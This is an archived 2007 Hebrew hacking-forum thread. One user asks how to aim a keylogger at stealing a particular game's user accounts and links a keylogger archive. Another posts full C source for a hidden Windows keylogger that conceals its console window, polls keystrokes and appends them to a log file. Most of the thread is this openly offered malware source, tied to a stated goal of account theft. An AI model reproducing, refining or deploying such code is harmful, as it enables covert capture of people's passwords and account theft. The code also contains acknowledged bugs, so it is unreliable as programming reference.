Logo

רד-בורד: ארכיון

ראשי > אבטחת מידע > keylogger

20/11/2007 16:44:55 feffer
דבר ראשון איך אני מכוון תקי לוגר שיגנוב משתמשים של משחק מסוים הורדתי את הדוגמאות
http://debugger.110mb.com/Keyloggers.zip
מפה איך אפשר לכוון אותם


ואם בכלל יש לכם קי לוגר אחר למה גוגל סיבך אותי
15/12/2007 16:50:10 micha999
אפשר לשאול קודם כול באיזה קי לוגר אתה משתמש?
20/12/2007 09:05:24 iNDi@NBoY
כתבתי את זה.
אחד פשוט שהוא בלתי נראה יש מצב שיש כמה באגים לא בדקתי עד הסוף...


קוד:/****************************************
* *
* Simple KeyLogger By 17BatataCr3w *
* Written By 17Batata AKA iNDi@NBoY *
* *
***************************************/

#include <stdio.h>
#include <windows.h>
#include <dos.h>
#include <wincon.h>
#include <winuser.h>
#include <iostream.h>
#include <stdlib.h>
#pragma comment(lib,"User32.lib")

void keys(int key,char *file)
{
/* This is where log is written to */

FILE *key_file;
key_file = fopen(file,"a+");

/* Special Chars */

/* if (key ==1)
fprintf(key_file,"%s","[BUTTON LEFT]");
if (key ==2)
fprintf(key_file,"%s","[BUTTON RIGHT]");
if (key ==3)
fprintf(key_file,"%s","[BUTTON MID]");
if (key ==45)
fprintf(key_file,"%s","[INSERT]");
if (key==8)
fprintf(key_file,"%s","[DEL]");
if (key==13)
fprintf(key_file,"%s","\n");
if (key==32)
fprintf(key_file,"%s"," ");*/
if (key==VK_CAPITAL)
fprintf(key_file,"%s","[CAPS LOCK]");
if (key==VK_TAB)
fprintf(key_file,"%s","[TAB]");
if (key ==VK_SHIFT)
fprintf(key_file,"%s","[SHIFT]");
if (key ==VK_CONTROL)
fprintf(key_file,"%s","[CTRL]");
if (key ==VK_PAUSE)
fprintf(key_file,"%s","[PAUSE]");
if (key ==VK_KANA)
fprintf(key_file,"%s","[KANA]");
if (key ==VK_ESCAPE)
fprintf(key_file,"%s","[ESC]");
if (key ==VK_END)
fprintf(key_file,"%s","[END]");
if (key==VK_HOME)
fprintf(key_file,"%s","[HOME]");
if (key ==VK_LEFT)
fprintf(key_file,"%s","[LEFT]");
if (key ==VK_UP)
fprintf(key_file,"%s","[UP]");
if (key ==VK_RIGHT)
fprintf(key_file,"%s","[RIGHT]");
if (key ==VK_DOWN)
fprintf(key_file,"%s","[DOWN]");
if (key ==VK_SNAPSHOT)
fprintf(key_file,"%s","[PRINT]");
if (key ==VK_NUMLOCK)
fprintf(key_file,"%s","[NUM LOCK]");
if (key ==190 || key==110)
fprintf(key_file,"%s",".");
if (key ==91)
fprintf(key_file,"%s","[WIN]");
if (key ==93)
fprintf(key_file,"%s","[MENU]");
if (key ==95)
fprintf(key_file,"%s","[SLEEP]");
if (key ==145)
fprintf(key_file,"%s","[SCROLL LOCK]");
if (key ==112)
fprintf(key_file,"%s","[F1]");
if (key ==113)
fprintf(key_file,"%s","[F2]");
if (key ==114)
fprintf(key_file,"%s","[F3]");
if (key ==115)
fprintf(key_file,"%s","[F4]");
if (key ==116)
fprintf(key_file,"%s","[F5]");
if (key ==117)
fprintf(key_file,"%s","[F6]");
if (key ==118)
fprintf(key_file,"%s","[F7]");
if (key ==119)
fprintf(key_file,"%s","[F8]");
if (key ==120)
fprintf(key_file,"%s","[F9]");
if (key ==121)
fprintf(key_file,"%s","[F10]");
if (key ==122)
fprintf(key_file,"%s","[F11]");
if (key ==123)
fprintf(key_file,"%s","[F12]");

/* Standard Chars */

if (key >=96 && key <= 105)
{
key -= 48;
fprintf(key_file,"%s",&key);
}
if (key >=48 && key <= 59)
fprintf(key_file,"%s",&key);
if (key !=VK_LBUTTON || key !=VK_RBUTTON)
{
if (key >=65 && key <=90)
{
if (GetKeyState(VK_CAPITAL))
fprintf(key_file,"%s",&key);
else
{
key += 32;
fprintf(key_file,"%s",&key);
}
}
}
fclose(key_file);
}

void main()
{
/* Going Underground :-) */

HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

char i, test[MAX_PATH];
/*GetWindowsDirectory(test,sizeof(test));
strcat(test,"//ms17b.dat");*/
strcpy(test,"ms17b.dat");
while(1)
for(i=8;i<=190;i++)
if (GetAsyncKeyState(i) == -32767)
keys(i,test);
}
עמודים: 1